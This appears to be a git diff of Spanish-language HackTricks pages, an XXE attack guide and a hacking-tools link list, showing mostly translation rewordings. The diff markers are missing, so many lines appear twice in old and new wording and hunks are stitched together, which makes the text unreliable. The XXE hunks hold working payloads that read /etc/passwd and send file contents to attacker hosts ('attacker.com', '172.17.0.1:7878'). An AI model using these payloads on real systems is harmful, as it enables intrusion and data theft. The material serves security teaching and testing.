Una laguna en la especificación del lenguaje XML puede **exponer datos sensibles a través de mensajes de error cuando la DTD de un documento mezcla declaraciones internas y externas**. Este problema permite la redefinición interna de entidades declaradas externamente, facilitando la ejecución de ataques XXE basados en errores. Tales ataques explotan la redefinición de una entidad de parámetro XML, originalmente declarada en una DTD externa, desde dentro de una DTD interna. Cuando las conexiones fuera de banda están bloqueadas por el servidor, los atacantes deben depender de archivos DTD locales para llevar a cabo el ataque, con el objetivo de inducir un error de análisis para revelar información sensible.
|
||||
Una laguna en la especificación del lenguaje XML puede **exponer datos sensibles a través de mensajes de error cuando la DTD de un documento combina declaraciones internas y externas**. Este problema permite la redefinición interna de entidades declaradas externamente, facilitando la ejecución de ataques de XXE basados en errores. Tales ataques explotan la redefinición de una entidad de parámetro XML, originalmente declarada en una DTD externa, desde dentro de una DTD interna. Cuando las conexiones fuera de banda están bloqueadas por el servidor, los atacantes deben depender de archivos DTD locales para llevar a cabo el ataque, con el objetivo de inducir un error de análisis para revelar información sensible.
|
||||
|
||||
Considera un escenario donde el sistema de archivos del servidor contiene un archivo DTD en `/usr/local/app/schema.dtd`, definiendo una entidad llamada `custom_entity`. Un atacante puede inducir un error de análisis XML revelando el contenido del archivo `/etc/passwd` al enviar una DTD híbrida de la siguiente manera:
|
||||
```xml
|
||||
|
@ -217,7 +217,7 @@ En el siguiente repositorio de GitHub increíble, puedes encontrar **rutas de DT
|
|||
|
||||
{% embed url="https://github.com/GoSecure/dtd-finder/tree/master/list" %}
|
||||
|
||||
Además, si tienes la **imagen Docker del sistema víctima**, puedes utilizar la herramienta del mismo repositorio para **escanear** la **imagen** y **encontrar** la ruta de los **DTDs** presentes dentro del sistema. Lee el [Readme del repositorio de GitHub](https://github.com/GoSecure/dtd-finder) para aprender cómo hacerlo.
|
||||
Además, si tienes la **imagen Docker del sistema víctima**, puedes utilizar la herramienta del mismo repositorio para **escanear** la **imagen** y **encontrar** la ruta de los **DTDs** presentes dentro del sistema. Lee el [Readme del repositorio de GitHub](https://github.com/GoSecure/dtd-finder) para aprender cómo.
|
||||
```bash
|
||||
java -jar dtd-finder-1.2-SNAPSHOT-all.jar /tmp/dadocker.tar
|
||||
|
||||
|
@ -231,7 +231,7 @@ Testing 0 entities : []
|
|||
```
|
||||
### XXE a través de Analizadores de Office Open XML
|
||||
|
||||
Para obtener una explicación más detallada de este ataque, **consulta la segunda sección de** [**esta increíble publicación**](https://labs.detectify.com/2021/09/15/obscure-xxe-attacks/) **de Detectify**.
|
||||
Para obtener una explicación más detallada de este ataque, **consulte la segunda sección de** [**esta increíble publicación**](https://labs.detectify.com/2021/09/15/obscure-xxe-attacks/) **de Detectify**.
|
||||
|
||||
La capacidad de **cargar documentos de Microsoft Office es ofrecida por muchas aplicaciones web**, las cuales luego proceden a extraer ciertos detalles de estos documentos. Por ejemplo, una aplicación web puede permitir a los usuarios importar datos mediante la carga de una hoja de cálculo en formato XLSX. Para que el analizador extraiga los datos de la hoja de cálculo, inevitablemente necesitará analizar al menos un archivo XML.
|
||||
|
||||
|
@ -239,38 +239,38 @@ Para probar esta vulnerabilidad, es necesario crear un **archivo de Microsoft Of
|
|||
|
||||
Una vez que el documento ha sido descomprimido, el archivo XML ubicado en `./unzipped/word/document.xml` debe ser abierto y editado en un editor de texto preferido (como vim). El XML debe ser modificado para incluir el payload XXE deseado, a menudo comenzando con una solicitud HTTP.
|
||||
|
||||
Las líneas XML modificadas deben ser insertadas entre los dos objetos raíz XML. Es importante reemplazar la URL con una URL monitorizable para las solicitudes.
|
||||
Las líneas XML modificadas deben ser insertadas entre los dos objetos XML raíz. Es importante reemplazar la URL con una URL monitorizable para las solicitudes.
|
||||
|
||||
Finalmente, el archivo puede ser comprimido para crear el archivo malicioso poc.docx. Desde el directorio "unzipped" previamente creado, se debe ejecutar el siguiente comando:
|
||||
|
||||
Ahora, el archivo creado puede ser cargado en la aplicación web potencialmente vulnerable, y se puede esperar que aparezca una solicitud en los registros de Burp Collaborator.
|
||||
|
||||
### Protocolo Jar:
|
||||
### Protocolo Jar
|
||||
|
||||
El protocolo **jar** es accesible exclusivamente dentro de las **aplicaciones Java**. Está diseñado para permitir el acceso a archivos dentro de un archivo **PKZIP** (por ejemplo, `.zip`, `.jar`, etc.), atendiendo tanto a archivos locales como remotos.
|
||||
El protocolo **jar** es accesible exclusivamente dentro de **aplicaciones Java**. Está diseñado para permitir el acceso a archivos dentro de un archivo **PKZIP** (por ejemplo, `.zip`, `.jar`, etc.), atendiendo tanto a archivos locales como remotos.
|
||||
```
|
||||
jar:file:///var/myarchive.zip!/file.txt
|
||||
jar:https://download.host.com/myarchive.zip!/file.txt
|
||||
```
|
||||
{% hint style="danger" %}
|
||||
Para poder acceder a archivos dentro de archivos PKZIP es **súper útil para abusar de XXE a través de archivos DTD del sistema.** Consulta [esta sección para aprender cómo abusar de archivos DTD del sistema](xxe-xee-xml-external-entity.md#error-based-system-dtd).
|
||||
Acceder a archivos dentro de archivos PKZIP es **muy útil para abusar de XXE a través de archivos DTD del sistema.** Consulta [esta sección para aprender cómo abusar de archivos DTD del sistema](xxe-xee-xml-external-entity.md#error-based-system-dtd).
|
||||
{% endhint %}
|
||||
|
||||
El proceso para acceder a un archivo dentro de un archivo PKZIP a través del protocolo jar implica varios pasos:
|
||||
|
||||
1. Se realiza una solicitud HTTP para descargar el archivo zip desde una ubicación especificada, como `https://descarga.sitio.com/archivo.zip`.
|
||||
2. La respuesta HTTP que contiene el archivo se almacena temporalmente en el sistema, típicamente en una ubicación como `/tmp/...`.
|
||||
3. Luego se extrae el archivo para acceder a su contenido.
|
||||
3. Luego, se extrae el archivo para acceder a su contenido.
|
||||
4. Se lee el archivo específico dentro del archivo, `archivo.zip`.
|
||||
5. Después de la operación, se eliminan los archivos temporales creados durante este proceso.
|
||||
|
||||
Una técnica interesante para interrumpir este proceso en el segundo paso implica mantener abierta la conexión del servidor indefinidamente al servir el archivo del archivo. Se pueden utilizar herramientas disponibles en [este repositorio](https://github.com/GoSecure/xxe-workshop/tree/master/24\_write\_xxe/solution) con este propósito, incluyendo un servidor Python (`slow_http_server.py`) y un servidor Java (`slowserver.jar`).
|
||||
Una técnica interesante para interrumpir este proceso en el segundo paso implica mantener abierta la conexión del servidor indefinidamente al servir el archivo del archivo. Herramientas disponibles en [este repositorio](https://github.com/GoSecure/xxe-workshop/tree/master/24\_write\_xxe/solution) pueden ser utilizadas para este propósito, incluyendo un servidor Python (`slow_http_server.py`) y un servidor Java (`slowserver.jar`).
|
||||
```xml
|
||||
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "jar:http://attacker.com:8080/evil.zip!/evil.dtd">]>
|
||||
<foo>&xxe;</foo>
|
||||
```
|
||||
{% hint style="danger" %}
|
||||
Escribir archivos en un directorio temporal puede ayudar a **escalar otra vulnerabilidad que involucre una travesía de ruta** (como inclusión de archivos locales, inyección de plantillas, RCE de XSLT, deserialización, etc).
|
||||
Escribir archivos en un directorio temporal puede ayudar a **escalar otra vulnerabilidad que involucre una traversía de ruta** (como inclusión de archivo local, inyección de plantilla, XSLT RCE, deserialización, etc).
|
||||
{% endhint %}
|
||||
|
||||
### XSS
|
||||
|
@ -328,7 +328,7 @@ Para ejecutar un ataque de `XInclude`, se debe declarar el espacio de nombres `X
|
|||
```xml
|
||||
productId=<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>&storeId=1
|
||||
```
|
||||
Consulta [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe) para más información!
|
||||
Revisa [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe) para más información!
|
||||
|
||||
### SVG - Carga de Archivos
|
||||
|
||||
|
@ -348,9 +348,9 @@ Otro método implica intentar **ejecutar comandos** a través del envoltorio "ex
|
|||
```
|
||||
En ambos casos, se utiliza el formato SVG para lanzar ataques que explotan las capacidades de procesamiento XML del software del servidor, resaltando la necesidad de una sólida validación de entrada y medidas de seguridad.
|
||||
|
||||
¡Consulta [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe) para obtener más información!
|
||||
Consulta [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe) para más información!
|
||||
|
||||
**Ten en cuenta que la primera línea del archivo leído o del resultado de la ejecución aparecerá DENTRO de la imagen creada. Por lo tanto, debes poder acceder a la imagen que SVG ha creado.**
|
||||
**Ten en cuenta que la primera línea del archivo leído o del resultado de la ejecución aparecerá DENTRO de la imagen creada. Por lo tanto, necesitas poder acceder a la imagen que SVG ha creado.**
|
||||
|
||||
### **PDF - Subida de archivos**
|
||||
|
||||
|
@ -420,7 +420,7 @@ Esto solo funciona si el servidor XML acepta el protocolo `data://`.
|
|||
|
||||
### UTF-7
|
||||
|
||||
Puedes usar la \[**"Receta de codificación**" de CyberChef aquí](https://gchq.github.io/CyberChef/#recipe=Encode\_text%28'UTF-7 %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4) para transformar a UTF-7.
|
||||
Puedes usar la \[**"Receta de codificación**" de CyberChef aquí ]\([https://gchq.github.io/CyberChef/#recipe=Encode\_text%28'UTF-7](https://gchq.github.io/CyberChef/#recipe=Encode\_text%28'UTF-7) %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4)to]\([https://gchq.github.io/CyberChef/#recipe=Encode\_text%28'UTF-7 %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to](https://gchq.github.io/CyberChef/#recipe=Encode\_text%28%27UTF-7%20%2865000%29%27%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to)) transformación a UTF-7.
|
||||
```xml
|
||||
<!xml version="1.0" encoding="UTF-7"?-->
|
||||
+ADw-+ACE-DOCTYPE+ACA-foo+ACA-+AFs-+ADw-+ACE-ENTITY+ACA-example+ACA-SYSTEM+ACA-+ACI-/etc/passwd+ACI-+AD4-+ACA-+AF0-+AD4-+AAo-+ADw-stockCheck+AD4-+ADw-productId+AD4-+ACY-example+ADs-+ADw-/productId+AD4-+ADw-storeId+AD4-1+ADw-/storeId+AD4-+ADw-/stockCheck+AD4-
|
||||
|
@ -434,14 +434,14 @@ Puedes usar la \[**"Receta de codificación**" de CyberChef aquí](https://gchq.
|
|||
```
|
||||
### Bypass de Protocolo de Archivo
|
||||
|
||||
Si la web está utilizando PHP, en lugar de usar `file:/` puedes usar **envolturas de PHP** `php://filter/convert.base64-encode/resource=` para **acceder a archivos internos**.
|
||||
Si la web está utilizando PHP, en lugar de usar `file:/` puedes usar **envolturas php** `php://filter/convert.base64-encode/resource=` para **acceder a archivos internos**.
|
||||
|
||||
Si la web está utilizando Java, puedes verificar el [**protocolo jar**](xxe-xee-xml-external-entity.md#jar-protocol).
|
||||
|
||||
### Entidades HTML
|
||||
|
||||
Truco de [**https://github.com/Ambrotd/XXE-Notes**](https://github.com/Ambrotd/XXE-Notes)\
|
||||
Puedes crear una **entidad dentro de una entidad** codificándola con **entidades HTML** y luego llamarla para **cargar un dtd**.\
|
||||
Puedes crear una **entidad dentro de una entidad** codificándola con **entidades html** y luego llamarla para **cargar un dtd**.\
|
||||
Ten en cuenta que las **Entidades HTML** utilizadas deben ser **numéricas** (como \[en este ejemplo]\([https://gchq.github.io/CyberChef/#recipe=To\_HTML\_Entity%28true,'Numeric entities'%29\&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B)\\](https://gchq.github.io/CyberChef/#recipe=To\_HTML\_Entity%28true,%27Numeric%20entities%27%29\&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B\)%5C)).
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [<!ENTITY % a "<!ENTITY%dtdSYSTEM"http://ourserver.com/bypass.dtd">" >%a;%dtd;]>
|
||||
|
@ -449,7 +449,7 @@ Ten en cuenta que las **Entidades HTML** utilizadas deben ser **numéricas** (co
|
|||
<env>&exfil;</env>
|
||||
</data>
|
||||
```
|
||||
Ejemplo DTD:
|
||||
Ejemplo de DTD:
|
||||
```xml
|
||||
<!ENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=/flag">
|
||||
<!ENTITY % abt "<!ENTITY exfil SYSTEM 'http://172.17.0.1:7878/bypass.xml?%data;'>">
|
||||
|
@ -488,7 +488,7 @@ Ejemplo DTD:
|
|||
|
||||
Este ejemplo está inspirado en [https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe](https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe)
|
||||
|
||||
XLIFF (XML Localization Interchange File Format) se utiliza para estandarizar el intercambio de datos en procesos de localización. Es un formato basado en XML utilizado principalmente para transferir datos localizables entre herramientas durante la localización y como formato de intercambio común para herramientas de TAC (Traducción Asistida por Computadora).
|
||||
XLIFF (XML Localization Interchange File Format) se utiliza para estandarizar el intercambio de datos en procesos de localización. Es un formato basado en XML utilizado principalmente para transferir datos localizables entre herramientas durante la localización y como formato de intercambio común para herramientas de TAO (Traducción Asistida por Ordenador).
|
||||
|
||||
### Análisis de Solicitudes a Ciegas
|
||||
|
||||
|
@ -508,7 +508,7 @@ Sin embargo, esta solicitud desencadena un error interno del servidor, mencionan
|
|||
```json
|
||||
{"status":500,"error":"Internal Server Error","message":"Error systemId: http://redacted.burpcollaborator.net/?xxe_test; The markup declarations contained or pointed to by the document type declaration must be well-formed."}
|
||||
```
|
||||
A pesar del error, se registra un hit en Burp Collaborator, indicando cierto nivel de interacción con la entidad externa.
|
||||
A pesar del error, se registra un hit en Burp Collaborator, lo que indica cierto nivel de interacción con la entidad externa.
|
||||
|
||||
Exfiltración de Datos Fuera de Banda Para exfiltrar datos, se envía una solicitud modificada:
|
||||
```
|
||||
|
@ -531,7 +531,7 @@ Exfiltración de Datos Basada en Errores Para superar esta limitación, se emple
|
|||
%foo;
|
||||
%xxe;
|
||||
```
|
||||
El servidor responde con un error, reflejando de manera importante que el archivo no existe, lo que indica que el servidor está intentando acceder al archivo especificado:
|
||||
El servidor responde con un error, reflejando de manera importante el archivo inexistente, lo que indica que el servidor está intentando acceder al archivo especificado:
|
||||
```javascript
|
||||
{"status":500,"error":"Internal Server Error","message":"IO error.\nReason: /nofile (No such file or directory)"}
|
||||
```
|
||||
|
@ -542,7 +542,7 @@ Para incluir el contenido del archivo en el mensaje de error, se ajusta el archi
|
|||
%foo;
|
||||
%xxe;
|
||||
```
|
||||
Esta modificación conduce a la exitosa exfiltración del contenido del archivo, como se refleja en la salida de error enviada a través de HTTP. Esto indica un exitoso ataque XXE (Entidad Externa XML), aprovechando tanto técnicas Out of Band como Error-Based para extraer información sensible.
|
||||
Esta modificación conduce a la exitosa exfiltración del contenido del archivo, tal como se refleja en la salida de error enviada a través de HTTP. Esto indica un exitoso ataque XXE (Entidad Externa XML), aprovechando tanto técnicas Out of Band como basadas en errores para extraer información sensible.
|
||||
|
||||
## RSS - XEE
|
||||
|
||||
|
@ -550,7 +550,7 @@ XML válido con formato RSS para explotar una vulnerabilidad XXE.
|
|||
|
||||
### Ping back
|
||||
|
||||
Solicitud HTTP simple al servidor de los atacantes
|
||||
Solicitud HTTP simple al servidor del atacante
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE title [ <!ELEMENT title ANY >
|
||||
|
@ -572,15 +572,6 @@ Solicitud HTTP simple al servidor de los atacantes
|
|||
</rss>
|
||||
```
|
||||
### Leer archivo
|
||||
|
||||
En una vulnerabilidad de XXE, un atacante puede aprovechar una carga útil XML maliciosa para leer archivos del sistema de archivos del servidor. El siguiente ejemplo muestra cómo se puede usar una entidad externa para leer el archivo `/etc/passwd`:
|
||||
|
||||
```xml
|
||||
<!DOCTYPE foo [
|
||||
<!ELEMENT foo ANY >
|
||||
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
|
||||
<foo>&xxe;</foo>
|
||||
```
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE title [ <!ELEMENT title ANY >
|
||||
|
@ -660,7 +651,7 @@ XMLDecoder es una clase de Java que crea objetos basados en un mensaje XML. Si u
|
|||
```
|
||||
### ProcessBuilder
|
||||
|
||||
El `ProcessBuilder` es una clase en Java que se utiliza para crear procesos nativos del sistema operativo. Permite a los programadores ejecutar comandos en un sistema operativo desde un programa Java.
|
||||
### ProcessBuilder
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<java version="1.7.0_21" class="java.beans.XMLDecoder">
|
||||
|
@ -706,7 +697,7 @@ El `ProcessBuilder` es una clase en Java que se utiliza para crear procesos nati
|
|||
* [https://gosecure.github.io/xxe-workshop/#7](https://gosecure.github.io/xxe-workshop/#7)
|
||||
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
<details>
|
||||
|
@ -715,7 +706,7 @@ El `ProcessBuilder` es una clase en Java que se utiliza para crear procesos nati
|
|||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
|
|
@ -1,18 +1,18 @@
|
|||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Red Team de AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Obtén [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al grupo de [**telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
@ -71,7 +71,7 @@ Otras formas de apoyar a HackTricks:
|
|||
* [https://github.com/gauravnarwani97/Trishul](https://github.com/gauravnarwani97/Trishul) : Plugin de BurpSuite para encontrar vulnerabilidades (SQLi, XSS, SSTI)
|
||||
* [https://github.com/fransr/postMessage-tracker](https://github.com/fransr/postMessage-tracker) : Extensión de Chrome para rastrear funciones de mensajes post
|
||||
* [https://github.com/Quitten/Autorize](https://github.com/Quitten/Autorize) : Pruebas de autenticación automáticas (eliminar cookies e intentar enviar la solicitud)
|
||||
* [https://github.com/pikpikcu/xrcross](https://github.com/pikpikcu/xrcross): XRCross es una herramienta de Reconstrucción, Escaneo y una herramienta para pruebas de penetración / BugBounty. Esta herramienta fue creada para probar vulnerabilidades (XSS|SSRF|CORS|SSTI|IDOR|RCE|LFI|SQLI)
|
||||
* [https://github.com/pikpikcu/xrcross](https://github.com/pikpikcu/xrcross): XRCross es una herramienta de Reconstrucción, Escaneo y una herramienta para pruebas de penetración / BugBounty. Esta herramienta fue construida para probar vulnerabilidades (XSS|SSRF|CORS|SSTI|IDOR|RCE|LFI|SQLI)
|
||||
# Windows
|
||||
|
||||
* [https://github.com/Mr-Un1k0d3r/PoisonHandler](https://github.com/Mr-Un1k0d3r/PoisonHandler) : Movimientos laterales
|
||||
|
@ -79,14 +79,14 @@ Otras formas de apoyar a HackTricks:
|
|||
* [https://gist.github.com/netbiosX/ee35fcd3722e401a38136cff7b751d79](https://gist.github.com/netbiosX/ee35fcd3722e401a38136cff7b751d79) ([https://pentestlab.blog/2020/01/13/persistence-image-file-execution-options-injection/](https://pentestlab.blog/2020/01/13/persistence-image-file-execution-options-injection/)): Persistencia
|
||||
* [https://github.com/odzhan/injection](https://github.com/odzhan/injection) : Técnicas de inyección de procesos de Windows
|
||||
* [https://github.com/BankSecurity/Red\_Team](https://github.com/BankSecurity/Red\_Team) : Scripts de Red Team
|
||||
* [https://github.com/l0ss/Grouper2](https://github.com/l0ss/Grouper2) : encontrar configuraciones de seguridad incorrectas en la Directiva de Grupo de Active Directory.
|
||||
* [https://github.com/l0ss/Grouper2](https://github.com/l0ss/Grouper2) : encontrar configuraciones de seguridad relacionadas con Active Directory Group Policy.
|
||||
* [https://www.wietzebeukema.nl/blog/powershell-obfuscation-using-securestring](https://www.wietzebeukema.nl/blog/powershell-obfuscation-using-securestring) : Ofuscación de Securestring
|
||||
* [https://pentestlab.blog/2020/02/24/parent-pid-spoofing/](https://pentestlab.blog/2020/02/24/parent-pid-spoofing/) : Suplantación de PID padre
|
||||
* [https://pentestlab.blog/2020/02/24/parent-pid-spoofing/](https://pentestlab.blog/2020/02/24/parent-pid-spoofing/) : Falsificación de PID padre
|
||||
* [https://github.com/the-xentropy/xencrypt](https://github.com/the-xentropy/xencrypt) : Encriptar payloads de Powershell
|
||||
* [https://shells.systems/introducing-ninja-c2-the-c2-built-for-stealth-red-team-operations/](https://shells.systems/introducing-ninja-c2-the-c2-built-for-stealth-red-team-operations/) : C2 sigiloso
|
||||
* [https://windows-internals.com/faxing-your-way-to-system/](https://windows-internals.com/faxing-your-way-to-system/) : Serie de registros sobre Internals de Windows
|
||||
* [https://windows-internals.com/faxing-your-way-to-system/](https://windows-internals.com/faxing-your-way-to-system/) : Serie de registros sobre Windows Internals
|
||||
* [https://bestestredteam.com/2018/10/02/tracking-pixel-in-microsoft-office-document/](https://bestestredteam.com/2018/10/02/tracking-pixel-in-microsoft-office-document/) : Rastrear quién abre un documento
|
||||
* [https://github.com/Integration-IT/Active-Directory-Exploitation-Cheat-Sheet](https://github.com/Integration-IT/Active-Directory-Exploitation-Cheat-Sheet) : Hoja de trucos de Explotación de Active Directory
|
||||
* [https://github.com/Integration-IT/Active-Directory-Exploitation-Cheat-Sheet](https://github.com/Integration-IT/Active-Directory-Exploitation-Cheat-Sheet) : Hoja de trucos de explotación de Active Directory
|
||||
|
||||
# Firmware
|
||||
|
||||
|
@ -124,17 +124,19 @@ Emulación de firmware: FIRMADYNE (https://github.com/firmadyne/firmadyne/) es u
|
|||
* Rootkit de Linux: [https://github.com/aesophor/satanic-rootkit](https://github.com/aesophor/satanic-rootkit)
|
||||
* [https://theia-ide.org/](https://theia-ide.org) : IDE en línea
|
||||
* [https://github.com/nahamsec/Resources-for-Beginner-Bug-Bounty-Hunters/](https://github.com/nahamsec/Resources-for-Beginner-Bug-Bounty-Hunters/) : Recursos para comenzar en BugBounties
|
||||
* [https://medium.com/macoclock/jailbreak-and-stuff-kickstart-tools-and-techniques-for-ios-application-pentesting-6fa53a3987ab](https://medium.com/macoclock/jailbreak-and-stuff-kickstart-tools-and-techniques-for-ios-application-pentesting-6fa53a3987ab) : Herramientas de pentesting de iOS
|
||||
* [https://medium.com/macoclock/jailbreak-and-stuff-kickstart-tools-and-techniques-for-ios-application-pentesting-6fa53a3987ab](https://medium.com/macoclock/jailbreak-and-stuff-kickstart-tools-and-techniques-for-ios-application-pentesting-6fa53a3987ab) : Herramientas de pentesting de IOS
|
||||
* [https://github.com/random-robbie/keywords/blob/master/keywords.txt](https://github.com/random-robbie/keywords/blob/master/keywords.txt) : Palabras clave
|
||||
* [https://github.com/ElevenPaths/HomePWN](https://github.com/ElevenPaths/HomePWN) : Hacking IoT (Wifi, BLE, SSDP, MDNS)
|
||||
* [https://github.com/rackerlabs/scantron](https://github.com/rackerlabs/scantron) : escaneo automatizado
|
||||
* [https://github.com/doyensec/awesome-electronjs-hacking](https://github.com/doyensec/awesome-electronjs-hacking) : Esta lista tiene como objetivo cubrir temas relacionados con la seguridad de Electron.js.
|
||||
* [https://github.com/serain/bbrecon](https://github.com/serain/bbrecon) : Información sobre programas de BB
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking de AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
@ -142,9 +144,9 @@ Emulación de firmware: FIRMADYNE (https://github.com/firmadyne/firmadyne/) es u
|
|||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,19 +2,19 @@
|
|||
|
||||
<details>
|
||||
|
||||
